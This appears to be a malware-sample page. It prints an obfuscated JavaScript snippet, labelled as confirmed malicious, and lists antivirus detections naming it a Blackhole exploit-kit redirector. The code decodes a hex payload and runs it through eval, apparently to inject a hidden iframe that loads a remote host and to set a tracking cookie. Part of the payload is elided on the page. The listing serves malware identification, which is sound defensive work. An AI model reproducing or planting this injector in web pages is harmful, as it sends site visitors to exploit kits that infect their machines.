Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|